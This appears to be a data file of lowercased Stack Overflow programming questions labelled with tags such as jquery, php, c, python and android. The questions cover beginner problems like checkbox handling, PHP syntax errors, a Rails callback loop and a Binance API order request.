checkboxes as radio buttons with prop()  i have 3 lists (ul) and inside them there are checkboxes. if i check one and going to check another  the one checked before must be unchecked (a checkbox from one list shouldn t affect another from another list):   <pre><code>&lt;!--printed from php --&gt; &lt;div id= checkboxes &gt;     &lt;ul&gt;         &lt;li&gt;&lt;input type= checkbox  /&gt;&lt;/li&gt;         &lt;li&gt;&lt;input type= checkbox  /&gt;&lt;/li&gt;         &lt;li&gt;&lt;input type= checkbox  /&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;ul&gt;         &lt;li&gt;&lt;input type= checkbox  /&gt;&lt;/li&gt;         &lt;li&gt;&lt;input type= checkbox  /&gt;&lt;/li&gt;         &lt;li&gt;&lt;input type= checkbox  /&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;ul&gt;         &lt;li&gt;&lt;input type= checkbox  /&gt;&lt;/li&gt;         &lt;li&gt;&lt;input type= checkbox  /&gt;&lt;/li&gt;         &lt;li&gt;&lt;input type= checkbox  /&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; </code></pre>   this is the jquery code:   <pre><code>$(document).on( change    #checkboxes li input[type=checkbox]   function() {     $(this).closest( ul ).not(this).prop( checked   false);      //alert(this); }); </code></pre>   the alert is working but not the <code>prop()</code>. where is the problem,jquery
uiwebview show blank to ios dev beginner  i m new for ios develop. i tried to make a very simple app just show a uiwebview which display a web page:    <strong>viewcontroller.m:</strong>   <pre><code>#import  viewcontroller.h   @implementation viewcontroller  @synthesize webview = _webview;  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // release any cached data  images  etc that aren t in use. }  #pragma mark - view lifecycle  - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib.     nsstring *urladdress = @ http://jsfiddle.net/emj365/qaqnf/embedded/result/ ;     nsurl *url = [nsurl urlwithstring:urladdress];     nsurlrequest *requestobj = [nsurlrequest requestwithurl:url];     [self.webview loadrequest:requestobj]; }  ... </code></pre>   <strong>viewcontroller.h</strong>   <pre><code>#import &lt;uikit/uikit.h&gt;  @interface viewcontroller : uiviewcontroller {     uiwebview * _webview; } @property (nonatomic  retain) iboutlet uiwebview * webview; @end </code></pre>   uiwebview show blank. what s wrong,ios
parse error: syntax error  unexpected  &&  (t_boolean_and)  i m doing a php script for school and i ve got an error with these lines.   <pre><code>// calculate total $total_price = $crystal_price * $item_numbers + $postage_price; if ($coupon_code== freepost  &amp;&amp; $total_price &gt;= 1000 ) $postage_price = 0 ; &amp;&amp; $total_cost = $item_numbers * $crystal_price else if ($coupon_code== halfpost  &amp;&amp; $total_price &gt;= 400 ) $postage_price = $postage_price * 0.5 ; &amp;&amp; $total_cost = $item_numbers * $crystal_price + $postage_cost * 0.5 ; </code></pre>   if i remove the 2nd part of the <code>if</code> statement it works fine  however i need it  is there any way i can fix this,php
c programming - breaking down of money  i need to break down the amounts on their respective bill/coin.    the output is somewhat like this:    so far  here is my code: (i made the last few codes a comment one  cos the  errors come from there)   <pre><code>  {    int x y;    printf( enter input:  );   scanf( %d  &amp;x);    y=x/1000;   printf( \n# of $1000 bill: %d  y);   x = x%1000;    y=x/500;         printf( \n# of 4500 bill: %d  y);       x = (x%500);    y=x/200;   printf( \n#. of $200 bill: %d  y);       x = (x%200);    y=x/100;   printf( \n# of $100 bill: %d  y);       x = (x%100);    y=x/50;   printf( \n# of $50 bill: %d  y);       x = (x%50);    y=x/20;   printf( \n# of $20 bill: %d  y);       x = (x%20);    y=x/10;   printf( \n#. of $10 coin: %d  y);       x = (x%10);    y=x/5;   printf( \n#. of $5 coin: %d  y);       x = (x%5);    y=x/1;   printf( \n# of $1 coin: %d  y);       x = (x%1);     getch();   return 0;   } </code></pre>   i hope you ll help me out with this. :/     thanks!,c
compare the numbers within different string using python  i have two types of addresses:   <pre><code>unit 5  123 fake street drive 123 fake st dr  unit 5 </code></pre>   how can i use python to compare the two addresses by the numbers     for example:   <pre><code>unit 5  123 fake street drive -&gt; [5 123] 123 fake st dr  unit 5 -&gt; [123 5]  true  123 fake street drive -&gt; [123] 123 fake st dr  unit 5 -&gt; [123 5]  false  unit 5  155 fake street drive -&gt; [155 5] 123 fake st dr  unit 5 -&gt; [123 5]  false </code></pre>   all i have now is:   <pre><code>if bool(set([int(s) for s in address.split() if s.isdigit()]) &amp; set([int(s) for s in address2.split() if s.isdigit()])): </code></pre>   i want to find out if one list of numbers is the same as another list of numbers regardless of the order.,python
css have elements in left  right and centre  i am trying to align elements so that they are left  right and centre this works however there is a gap below each element (see: <a href= http://seananderson.co.uk/  rel= nofollow >http://seananderson.co.uk/</a>) and i want them to be side by side with no gap below  here is my css:   <pre><code>#introduction {     margin-left: 0%;     margin-right: auto;     width: 33%;     float:left; } #ibiza {     margin-top: 0%;     margin-left: 33%;     margin-right: 33%;     width: 33%; } #social {     margin-top: 0%;     margin-left: auto;     margin-right: 0%;     width: 33%; } </code></pre>,css
data parsing from text file  i have encountered an issue regarding parsing values from a text file. what i am trying to do is i need to add up all the values for each specific events for all days and find the average of it. example will be (290+370+346+325+325)/5 and (5+5+5+12)/4 based on the data in the text file.    a sample is listed below for each line --> first event:second event:third event...:total number of event:<br> every new line is considered a new day.    <pre><code>3:290:61:148:2:5: 2:370:50:173:4:5: 5:346:87:131:4: 3:325:60:145:5:5: 3:325:60:145:5:12:13:7: </code></pre>   i have tried to do it myself but i have only managed to store each column in a string array  only. sample code below. will appreciate if you guys can help  thanks!   <pre><code>void ids::parsebase() { string temp =   ; int counting = 0; int maxevent = 0; int nooflines = 0; vector&lt;string&gt; basevector;   ifstream readbasefile( base-data.txt ); ifstream readbasefileagain( base-data.txt );     while (getline(readbasefile  temp)) {      basevector.push_back(temp);  } readbasefile.close();  //fine the no. of lines nooflines =  basevector.size();  //find the no. of events for (int i=0; i&lt;basevector.size(); i++) {     counting = count(basevector[i].begin()  basevector[i].end()   : ) - 1;      if (maxevent &lt; counting)     {         maxevent = counting;     }  }   //store individual events into array     string a[maxevent];  while (getline(readbasefileagain  temp)) {     stringstream streamtemp(temp);      for (int i=0; i&lt;maxevent; i++)     {          getline(streamtemp  temp   : );          a[i] += temp +  \n ;       }   }     } </code></pre>,c++
in .net why is throwing an exception computationally heavy   in .net why is throwing an exception computationally heavy,.net
how can i make the keyboard go away   i have a app i m making that has 2 text fields and buttons below it.  when the user starts to type  the keyboard comes up and covers the buttons.  is there a way to make the keyboard go away,iphone
make button fill a percentage of a view  inside of a viewcontroller  i have a view that is the entire height of the viewcontroller  it is 150px wide  and its all the way to the left of the viewcontroller. i have 2 buttons inside the view that are the full 150px wide all of the time  but i want them to stack on top of each other  and each take up 50% of the height all of the time  no matter which device they are on. what constraints do i need to put on each of the buttons to make them do this  all in storyboard  thank you!,ios
mirroring the value of an int  i wonder if the following is possible in c   <pre><code>int a; int b; a = somefunc(); lots of stuff here that change the value of a </code></pre>   what i want is to mirror the value of <code>a</code> at all times  stored in the variable <code>b</code>. <code>a==b</code>    i want to avoid doing <code>b = a</code> after calling <code>somefunc()</code> and every other time i do something with <code>a</code>. adds clutter to the code.,c
rails update_attribute loops forever <h1>update_attribute call creates forever loop.</h1>   what could be the cause <br> maybe a variand of this:<br> <a href= https://stackoverflow.com/questions/22567358/prevent-infinite-loop-when-updating-attributes-within-after-commit-on-crea >prevent infinite loop when updating attributes within after_commit  :on =&gt; :create</a>   <h2>ruby --version</h2>   <code>ruby 2.4.0p0 (2016-12-24 revision 57164) [x86_64-linux]</code>   <h2>commands</h2>  <pre><code>rails new loop cd loop bundle install bundle exec rails g scaffold user bundle exec rails db:migrate bundle exec rails g migration add_name_to_users name:string bundle exec rails db:migrate </code></pre>  <h2>add the following to app/models/user.rb</h2>  <pre><code>class user &lt; applicationrecord   before_create: create_temp_name    def create_temp_name     update_attribute :name   temp name    end end </code></pre>  <h2>run <code>bundle exec rails s</code> access <code>http://localhost:3000/users/new</code> and press the create button.</h2>  <h2>result:</h2>  <pre><code>systemstackerror (stack level too deep):  app/models/user.rb:5:in `create_temp_name  app/models/user.rb:5:in `create_temp_name  </code></pre>  <h2>bundle list</h2>  <ul> <li>actioncable (5.1.1)</li> <li>actionmailer (5.1.1)</li> <li>actionpack (5.1.1)</li> <li>actionview (5.1.1)</li> <li>activejob (5.1.1)</li> <li>activemodel (5.1.1)</li> <li>activerecord (5.1.1)</li> <li>activesupport (5.1.1)</li> <li>addressable (2.5.1)</li> <li>arel (8.0.0)</li> <li>bindex (0.5.0)</li> <li>builder (3.2.3)</li> <li>bundler (1.14.6)</li> <li>byebug (9.0.6)</li> <li>capybara (2.13.0)</li> <li>childprocess (0.7.0)</li> <li>coffee-rails (4.2.1)</li> <li>coffee-script (2.4.1)</li> <li>coffee-script-source (1.12.2)</li> <li>concurrent-ruby (1.0.5)</li> <li>erubi (1.6.0)</li> <li>execjs (2.7.0)</li> <li>ffi (1.9.18)</li> <li>globalid (0.4.0)</li> <li>i18n (0.8.1)</li> <li>jbuilder (2.6.4)</li> <li>listen (3.1.5)</li> <li>loofah (2.0.3)</li> <li>mail (2.6.5)</li> <li>method_source (0.8.2)</li> <li>mime-types (3.1)</li> <li>mime-types-data (3.2016.0521)</li> <li>mini_portile2 (2.1.0)</li> <li>minitest (5.10.2)</li> <li>multi_json (1.12.1)</li> <li>nio4r (2.0.0)</li> <li>nokogiri (1.7.2)</li> <li>public_suffix (2.0.5)</li> <li>puma (3.8.2)</li> <li>rack (2.0.2)</li> <li>rack-test (0.6.3)</li> <li>rails (5.1.1)</li> <li>rails-dom-testing (2.0.3)</li> <li>rails-html-sanitizer (1.0.3)</li> <li>railties (5.1.1)</li> <li>rake (12.0.0)</li> <li>rb-fsevent (0.9.8)</li> <li>rb-inotify (0.9.8)</li> <li>ruby_dep (1.5.0)</li> <li>rubyzip (1.2.1)</li> <li>sass (3.4.23)</li> <li>sass-rails (5.0.6)</li> <li>selenium-webdriver (3.4.0)</li> <li>spring (2.0.1)</li> <li>spring-watcher-listen (2.0.1)</li> <li>sprockets (3.7.1)</li> <li>sprockets-rails (3.2.0)</li> <li>sqlite3 (1.3.13)</li> <li>thor (0.19.4)</li> <li>thread_safe (0.3.6)</li> <li>tilt (2.0.7)</li> <li>turbolinks (5.0.1)</li> <li>turbolinks-source (5.0.3)</li> <li>tzinfo (1.2.3)</li> <li>uglifier (3.2.0)</li> <li>web-console (3.5.1)</li> <li>websocket (1.2.4)</li> <li>websocket-driver (0.6.5)</li> <li>websocket-extensions (0.1.2)</li> <li>xpath (2.0.0)</li> </ul>,ruby-on-rails
stop .tofixed from rounding the number  i have the following   <pre><code>var dividedresult =  (893/ 200);      var result = dividedresult.tofixed(decimalplaces); </code></pre>   the divided result is    <pre><code>4.465  </code></pre>   and the result is   <pre><code>4.5 </code></pre>   how do i stop the rounding in this case     i want the result to be   <pre><code>4.4 </code></pre>,javascript
angularjs globally modify the url of every request in $http  let s set up a simple example:   <pre><code>$scope.whatdoesthefoxsay = function(){     $http.post( /backend/ancientmystery   { ... </code></pre>   how can i globally transform the url where the post request is sent to  essentially i want to prepend an url to every http request.     what i have tried is setting a variable in the <code>$rootscope</code> containing the url when the application starts. but this is not what i want my code to look like:   <pre><code>$scope.whatdoesthefoxsay = function(){     $http.post($rootscope.backendurl +  /backend/hidingdeepinthewoods   { ... </code></pre>   am i correct assuming that i should look into <code>$httpprovider.defaults.transformrequest</code>  can anyone provide me with some basic example code,angularjs
does clearing app data remove the text file which has been created by the app   i want to save settings or configuration of my android application in text files. but i need to make sure my configuration is also removed when someone  clear data      can someone explain to me how and why,android
select an option default by giving a value to select  hello is there anyway to have a value selected by giving in a value    <pre><code>&lt;select name= color &gt;     &lt;option value= black &gt;black&lt;/option&gt;     &lt;option value= white &gt;white&lt;/option&gt;     &lt;option value= red &gt;red&lt;/option&gt; &lt;/select&gt; </code></pre>   for example if i want black to be selected i would set <code>selected = black</code>.  <br> rather than using <code>&lt;option value= black selected&gt;black&lt;/option&gt;</code>    thank you for assistance  please let me know if there is any misunderstanding.,html
"transform array is not considering null returns  i want to transform an array in this way :    <ul> <li>false values become 0</li> <li>true values become 1 </li> <li>null values rest null</li> </ul>   i used this function :     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var arr = [true  false  false  true  true  null  null  null  null];
 
 var result = $.map(arr  function (val  i) {
             if (val == false) {
                 return 0
             } else if (val == true) {
                 return 1
             } else {
             return null
             }
         });
 
 $( #result ).text(result)</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 
 &lt;div id= result &gt;
     
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     this function returns [1 0 0 1 1]; ....    what i want to have = [1 0 0 1 1 null null null null];    any idea   thanks",javascript
i am getting this error at runtime during opening the database <pre><code> *** terminating app due to uncaught exception  nsinvalidargumentexception        reason:  *** -[nsplaceholderstring initwithutf8string:]: null cstring  </code></pre>,iphone
instantiating a class based on a property set value  when presenting the user with a <code>combobox</code> with <code>observablecollection&lt;type&gt;</code> as its <code>itemssource</code>  how can i instantiate a class in the property that <code>selecteditem</code> is bound to     the elements in the <code>elementlist</code> list in <code>parentitem</code> is either of a generic class type <code>element</code>  or is of a type inheriting from <code>element</code> (e.g. <code>digitaloutputbutton</code> or <code>trendgraph</code>).    xaml:   <pre><code>&lt;stackpanel orientation= horizontal &gt;     &lt;textblock width= 100  text= element type:  /&gt;     &lt;combobox width= 300  itemssource= {binding path=element.elementtypelist}                 selecteditem= {binding path=element.selectedelementtype}  /&gt; &lt;/stackpanel&gt; </code></pre>   c# code:   <pre><code>private static observablecollection&lt;type&gt; _elementtypelist      = new observablecollection&lt;type&gt; { typeof(element)  typeof(digitaloutputbutton)  typeof(trendgraph) }; public static observablecollection&lt;type&gt; elementtypelist { get { return _elementtypelist; } }  public type selectedelementtype {     get { return gettype(); }     set {         if (value != gettype()) {             var parentitem = controller.configurationhandler.findparentitem(this);             var currentitemindex = parentitem.elementlist.indexof(this);             parentitem.elementlist[currentitemindex] = new typeof(value)();         }     } } </code></pre>   the above <code>set</code> code will not build.  but is it possible to achieve this behavior in another way     <strong>edit:</strong> ok  this way works:   <pre><code>public type selectedelementtype {     get { return gettype(); }     set {         if (value != gettype()) {             var parentitem = controller.configurationhandler.findparentitem(this);             var currentitemindex = parentitem.elementlist.indexof(this);             if (value == typeof(element)) {                 parentitem.elementlist[currentitemindex] = new element();             }             else if (value == typeof(digitaloutputbutton)) {                 parentitem.elementlist[currentitemindex] = new digitaloutputbutton();             }             else if (value == typeof(trendgraph)) {                 parentitem.elementlist[currentitemindex] = new trendgraph();             }         }     } } </code></pre>   but it would be great it there was a way to do this that were a little more  maintenance free  (no need to edit when adding a new element type).,c#
jquery if class appear after click  i have a list of div elements  when i click on this div  class  selected  appear. how i can check is this class appear and what exact div is selected.   <pre><code>&lt;div class= swatch-attribute-options &gt; &lt;div class= swatch-option color &gt; &lt;div class= swatch-option color &gt; &lt;div class= swatch-option color &gt; &lt;div class= swatch-option color &gt; &lt;/div&gt; </code></pre>   click on some of div  adds class selected     so  how can i check if this class added  and determine exact div.    thanks.,jquery
how do developers integrate gui in android apps   i am a beginner in android app development. now i know that we can create a basic layout of android apps using xml.but how are the layout of complex android apps  developed are the layouts developed separately using some designing tools and then integrated with the activities written in java please forgive if the question is really dumb!,android
can t use a java class in another file  can t find a solution to this problem.    guitar2.java:   <pre><code>public class guitar2 {     private string serialnumber;      public guitar2(string serialnumber)     {         this.serialnumber = serialnumber;     }      public string getserialnumber()     {         return serialnumber;     } } </code></pre>   inv2.java:   <pre><code>import java.util.list; import java.util.linkedlist;  public class inv2 {     private list guitars;      public inv2()     {            guitars = new linkedlist();     }      public void addguitar(string serialnumber)     {         guitar2 guitar = new guitar2(serialnumber);         guitars.add(guitar);     } } </code></pre>   both files are in the same directory  both are <code>755</code> and the directory is in the classpath. i get the error message:   <pre><code>[machine]me @ directory $ javac inventory.java  inventory.java:18: cannot find symbol symbol  : class guitar location: class inventory         guitar guitar = new guitar();         ^ inventory.java:18: cannot find symbol symbol  : class guitar location: class inventory         guitar guitar = new guitar();                             ^ 2 errors </code></pre>   i read that if a file is in the same directory  classes from it can be used in other files in the same directory without any import statements. what s the problem here     post edit output when using the above code:   <hr>  <pre><code>[me]machine @ ricks $ javac inv2.java  note: inv2.java uses unchecked or unsafe operations. note: recompile with -xlint:unchecked for details. </code></pre>   i get the <code>.class</code> files of both <code>.java</code> files.,java
what is the equivalent of tostring( 00.00000 ) in c++   i tried the following to get .tostring( 00.00000 ) but failed   <pre><code>char buf[500]; memset(buf  0  sizeof(buf)); sprintf_s(buf   %02.7f  abc); std::string abc_str = buf; </code></pre>   i realised that the %02 doesnt have any effects  example when i get a 7.0  the result is 7.0000000 rather than the desired 07.0000000  anything wrong here      thanks!,c++
dynamic changing of android language  i have an android application working as ui for the device. i mean  when i open the device i don t see the default android interface  instead of it  i see my application. when i change the android language  the os strings of android change but my applications strings don t. it needs to be restarted. after the restart it changes  but this is not what i want. because  that application is my main app  and i have to restart the all system to restart the application.  as you will understand  this application works for all system lifetime. so i need that  change its language while it s running  without restart.     how can i do that      note that: locale is not working for the thing what i want.,android
angularjs apply select2 on element within modal  i m trying to apply select2 on a select element within a modal.    the modal is defined as a <code>script ng-template</code>. this works fine if it s not a modal (or a template).   <pre><code>&lt;script type= text/javascript &gt;     $(document).ready(function ($) {         $( #typedescription ).select2({             placeholder:  select a type...               allowclear: true         });     }); &lt;/script&gt; </code></pre>   however i cannot include the above code within   <pre><code>&lt;script type= text/ng-template  id= mymodal &gt;  &lt;/script&gt; </code></pre>   so the thing is i want to apply select2 on my element on the modal. how can i do that  how can i access the modal element by id and apply select2 on it     edit:    i made some changes:    on the controller i made a function:   <pre><code>......  $scope.select = function() {      $(document).ready(function ($) {          $( #typedescription ).select2({                placeholder:  select a type...                  allowclear: true          });     });   }; </code></pre>   and then within my template:    at the select filed (see bellow) i did like this: <code>data-ng-init= select() </code>    and actually works  it applies the select2 to my element.    is this a proper approach  can i make use of ng-init for this case    <pre><code>&lt;script type= text/ng-template  id= mymodal &gt;     &lt;div class= modal-header &gt;         &lt;button type= button  class= close  ng-click= currentmodal.close();  aria-hidden= true &gt;&amp;times;&lt;/button&gt;         &lt;h4 class= modal-title &gt;title&lt;/h4&gt;     &lt;/div&gt;      &lt;div class= modal-body &gt;          &lt;div class= form-horizontal &gt;              &lt;div class= form-group &gt;                 &lt;label class= col-sm-2 control-label  for= field-1 &gt;name&lt;/label&gt;                  &lt;div class= col-sm-10 &gt;                     &lt;input type= text  class= form-control  data-ng-model= newtype.name  id= field-1  placeholder= name &gt;                 &lt;/div&gt;             &lt;/div&gt;               &lt;div class= form-group &gt;                 &lt;label class= col-sm-2 control-label  for= field-5 &gt;description&lt;/label&gt;                  &lt;div class= col-sm-10 &gt;                     &lt;textarea class= form-control  data-ng-model= newtype.description  cols= 5  id= field-5  placeholder= description &gt;&lt;/textarea&gt;                 &lt;/div&gt;             &lt;/div&gt;              &lt;div class= form-group &gt;                 &lt;label class= col-sm-2 control-label  for= field-5 &gt;select type&lt;/label&gt;                  &lt;div class= col-sm-10 &gt;                     &lt;select class= form-control  id= typedescription  data-ng-model= newtype.type  data-ng-init= select() &gt;                         &lt;option data-ng-repeat= item in alltypes.types  value= {{item.value}} &gt;{{item.text}}&lt;/option&gt;                     &lt;/select&gt;                  &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;      &lt;div class= modal-footer &gt;         &lt;button type= button  class= btn btn-gray btn-single  data-ng-click= currentmodal.close(); &gt;cancel&lt;/button&gt;         &lt;button type= button  class= btn btn-info btn-single  data-ng-click= createtype(); currentmodal.dismiss(); &gt;save&lt;/button&gt;      &lt;/div&gt; &lt;/script&gt; </code></pre>,angularjs
adding checkbox to a dropdown  <code>&lt;select&gt;&lt;option&gt;&lt;input type= checkbox  /&gt;headache&lt;/option&gt;&lt;/select&gt;</code>    by using the above code i did t get a check box inside a dropdown list.can you suggest me   how should i proceed.,html
what does  [   mean in python arguments   what does  [  ]  mean in python args  they can be seen in input arguments such as:   <pre><code>cv2.canny(image  threshold1  threshold2[  edges[  aperturesize[  l2gradient]]]) </code></pre>   or scikit-learn; (e.g sklearn.linear_model.linearregression):   <pre><code>fit(x  y[  sample_weight])  fit linear model. </code></pre>   what does y[  sample_weight] actually mean  does it mean something like the first dimension in the array    <pre><code>y[: sample_weight] </code></pre>   update: thanks for the answers  it means optional. but why are they nested though    <pre><code>threshold2[  edges[  aperturesize[  l2gradient]]] </code></pre>,python
inverse of a number in zx  sorry  i can t translate what inverse is exactly.    i m looking for a java library(if any) or algorithm that calculates something like inverse of <code>5</code> in <code>z9</code>. that is like <code>5^-1=2</code>.,java
tricky and confusing c program about divisor sum and perfect numbers  the assignment is :     write a program that calculates the sum of the divisors of a number from input.    a number is considered perfect if the sum of it s divisiors equal the number (ex: 6 = 1+2+3 ;28 = 1 + 2 + 4 + 7 +14).    another definition: a perfect number is a number that is half the sum of all of its positive divisors (including itself)    generate the first k perfect numbers (k&lt;150).    the main problem with this is that it s confusing the two asking points don t really relate.    in this program i calculated the sum of divisors of an entered number  but i don t know how to relate it with the second point (generate the first k perfect numbers (k&lt;150)).   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;   main() { int x i y div suma k; printf( introduceti numarul\n );          \\enter the number scanf( %d  &amp;x); suma=0;                                   \\sum is 0 for(i=1;i&lt;=x;i++) {  if(x%i==0) suma=suma+i;                \\sum=sum+i; } printf( suma divizorilor naturali este: %d\n  suma);      \\the sum of the divisors is  for(k=1;k&lt;150;k++)               \\ bad part { if (x==suma) printf( %d  k); } } </code></pre>,c
failed to upload *.app  i created the app id in the apple development program and follow the instructions in apple document.    my app id is xxxxxxxxxx.com.companyname.appname. in my project s info.plist  i change the bundle identifier from com.yourcompany.${product_name:rfc1034identifier} to com.companyname.appname. when i tried to run the application in my iphone  i got this error  failed to upload application_name.app.    anyone know how to solve this issue,iphone
python: showing attributes assigned to a class object in the class code  one of my classes does a lot of aggregate calculating on a collection of objects  then assigns an attribute and value appropriate to the specific object: i.e.   <pre><code>class team(object):     def __init__(self  name): # updated for typo in code  added self         self.name = name  class leaguedetails(object):     def __init__(self): # added for clarity  corrected another typo         self.team_list = [team( name )  ...]         self.calculate_league_standings() # added for clarity       def calculate_league_standings(self):         # calculate standings as a team_place_dict         for team in self.team_list:             team.place = team_place_dict[team.name] # a new team attribute </code></pre>   i know  as long as the <code>calculate_league_standings</code> has been run  every team has <code>team.place</code>. what i would like to be able to do is to scan the code for <code>class team(object)</code> and read all the attributes  both created by class methods and also created by external methods which operate on class objects. i am getting a little sick of typing <code>for p in dir(team): print p</code> just to see what the attribute names are. i could define a bunch of blank <code>attributes</code> in the team <code>__init__</code>. e.g.   <pre><code>class team(object):     def __init__(self  name): # updated for typo in code  added self         self.name = name         self.place = none # dummy attribute  but recognizable when the code is scanned </code></pre>   it seems redundant to have <code>calculate_league_standings</code> return <code>team._place</code> and then add   <pre><code>@property def place(self): return self._place </code></pre>   i know i could comment a list of attributes at the top <code>class team</code>  which is the obvious solution  but i feel like there has to be a best practice here  something pythonic and elegant here.,python
does this java program need to be two separate files  hi everyone i am taking a java class and this is my first assignment involving object oriented programming. i am getting issues with the simplecalc portion and am wondering if my work should be two separate files or if i am missing a component that allows the statcalc part and simplecalc part to speak with one another. please keep in mind that i am new to java so i might need this spelled out a bit more then i have seen on stack over flow in the past at times  however  i will appreciate any help so thank you in advance. here is my code:   <pre><code>package tutorial;  /*    * an object of class statcalc can be used to compute several simple statistics   * for a set of numbers.  numbers are entered into the dataset using   * the enter(double) method.  methods are provided to return the following   * statistics for the set of numbers that have been entered: the number   * of items  the sum of the items  the average  the standard deviation    * the maximum  and the minimum.   */ public class statcalc {             private int count;   // number of numbers that have been entered.            private double sum;  // the sum of all the items that have been entered.            private double squaresum;  // the sum of the squares of all the items.                    private double max = double.negative_infinity;                               private double min = double.positive_infinity;            /**             * add a number to the dataset.  the statistics will be computed for all             * the numbers that have been added to the dataset using this method.             */            public void enter(double num) {                   count++;                   sum += num;                   squaresum += num*num;                                  if (count == 1){                       max = num;                       min = num;                   }                   else {                       if (num &gt; max)                           max = num;                       if (num &lt; min)                           min = num;                   }                 }            /**              * return the number of items that have been entered into the dataset.              */             public int getcount() {                    return count;            }            /**              * return the sum of all the numbers that have been entered.              */             public double getsum() {                    return sum;            }                     /**              * return the average of all the items that have been entered.              * the return value is double.nan if no numbers have been entered.             */             public double getmean() {                    return sum / count;            }                  /**              * return the standard deviation of all the items that have been entered.              * the return value is double.nan if no numbers have been entered.              */             public double getstandarddeviation() {                    double mean = getmean();                    return math.sqrt( squaresum/count - mean*mean );            }             public double getmin(){                return min;            }            public double getmax(){                return max;            }        }// end class statcalc  public class simplecalc {     public static void main(string[]args){         scanner in = new scanner(system.in);         simplecalc calc;         calc = new simplecalc();          double item;         system.out.println( enter numbers here. enter 0 to stop. );                system.out.println();          do{              system.out.print(    );             item = in.nextdouble();              if (item != 0)                 calc.enter(item);         }while (item != 0);          system.out.println( \nstatistics about your calc:\n );            system.out.println(count:  +calc.getcount ());          system.out.println(sum:  +calc.getsum ());            system.out.println( minimum:  +calc.getmin());           system.out.println( maximum:  +calc.getmax());           system.out.println( average:  +calc.getmean());              system.out.println( standard deviation:  +calc.getstandarddeviation());          }// end main }//end simplecalc </code></pre>,java
multiple select option value validating in php  i have multiple select option value for online appointment form. my project is just like this project  <a href= https://stackoverflow.com/questions/6954556/show-a-second-dropdown-based-on-previous-dropdown-selection >(show a second dropdown based on previous dropdown selection)</a>    i ve on some jquery code to clear the option when user choose other option  the things is how i am going to validate the form  what i mean is at least one select option are selected at second level select option value.     i ve tried using this code at validation php page    <pre><code>else if ($appointment_gc ==               || $appointment_fu ==               || $appointment_gas ==               || $appointment_col ==               || $appointment_ent ==               || $appointment_ort ==               || $appointment_ps ==               || $appointment_package ==     ) {             echo  submission fails. you have not choose any package.                    please go back and try again.                   &lt;input style=\ padding:10px 20px;margin-top:20px;\                     type=button value=\ back\  onclick=\ history.go(-1)\ &gt; ;            exit(); }  </code></pre>   each of <code>$appointment_...</code> are select option. i just want that at least one select option are selected  but seems that no matter how all failed to submit.,php
can i use ng-model with   tag   i am new to angular-js and i think this is a basic question how to get the value from a paragraph tag in angular-js  i tried with using ng-model but doesn t giving the value.can anyone help me,angularjs
how to order using binance api in objective-c  i am trying to order using binance api with the following objective-c code.   <pre><code>- (void)order {      double unixtime = [[nsdate date] timeintervalsince1970];     nsstring *time = [@( floor(unixtime * 1000) ) stringvalue];         nsurlcomponents *components = [nsurlcomponents componentswithstring:@ https://api.binance.com ];     components.path = @ /api/v3/order ;        nsurlqueryitem *symbol     = [nsurlqueryitem queryitemwithname:@ symbol      value:@ btcusdt ];     nsurlqueryitem *side       = [nsurlqueryitem queryitemwithname:@ side        value:@ buy ];     nsurlqueryitem *type       = [nsurlqueryitem queryitemwithname:@ type        value:@ market ];     nsurlqueryitem *quantity   = [nsurlqueryitem queryitemwithname:@ quantity    value:@ 0.01 ];     nsurlqueryitem *timestamp  = [nsurlqueryitem queryitemwithname:@ timestamp   value:time];     nsurlqueryitem *recvwindow = [nsurlqueryitem queryitemwithname:@ recvwindow  value:@ 5000 ];     components.queryitems = @[symbol side type quantity recvwindow timestamp];        nsurlqueryitem *signature = [nsurlqueryitem queryitemwithname:@ signature                                                              value:[self hmacstringforkey:secret datastring:components.query]];        components.queryitems = @[symbol side type quantity recvwindow timestamp signature];       nsurl *url = [components url];     nsmutableurlrequest *request = [nsmutableurlrequest requestwithurl:url                                                        cachepolicy:nsurlrequestuseprotocolcachepolicy                                                    timeoutinterval:10.0];       [request sethttpmethod:@ get ];     [request setvalue:apikey forhttpheaderfield:@ x-mbx-apikey ];          [[[nsurlsession sharedsession] datataskwithrequest:request                                      completionhandler:^(nsdata *data  nsurlresponse *response  nserror *error) {                                           if (response &amp;&amp; ! error) {                                          nslog(@ %@    [nsjsonserialization jsonobjectwithdata:data options:0 error:nil]);                                          } else {                                          nslog(@ %@   error);                                          }                                       }] resume];   } </code></pre>   but i get the following error. please let me know how to order using binance api.   <pre><code>{     code =  -1101 ;     msg =  too many parameters; expected  6  and received  7 . ; } </code></pre>   the documentation for binance api can be found here: <a href= https://github.com/binance-exchange/binance-official-api-docs/blob/master/rest-api.md  rel= nofollow noreferrer >https://github.com/binance-exchange/binance-official-api-docs/blob/master/rest-api.md</a>. what am i doing wrong      environment    macos highsierra xcode 9.0.1 objective-c,objective-c
writing hex representation to file  in my program  i am trying to read data from binary file  and then write it s hex representation to txt file.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int counter = 0; int read; int i = 0; long size; file *file1 = null;  file *file2 = null;  fpos_t length; char newline =  \n ;  int main(int argc  char **argv) {      if (argc &lt; 2) {     printf( use: %s file1 file2   argv[0]);     exit (-1);     }      unsigned char hex[513];     unsigned char buffer[257];     file1 = fopen(argv[1]   rb );     fseek(file1  0  seek_end);     fgetpos(file1  &amp;length);     size = length.__pos;     fseek(file1  0  seek_set);      if (file1) {             file2 = fopen(argv[2]   w );             if (!file2) {                     printf( cannot open file: %s\n   argv[2]);                     exit(-1);             }             while (counter &lt; size) {                     read = fread(buffer  1  256  file1);                     counter += read;                     i = 0;                     while (i &lt; read) {                             sprintf(hex   %02x    buffer[i++]);                     }                     fwrite(hex  1  512  file2);                     fwrite(&amp;newline  1  1  file2);                     }     } else            printf( cannot open file %s\n   argv[1]);     fclose(file1);     fclose(file2); } </code></pre>   unfortunately data don t write to txt file properly. 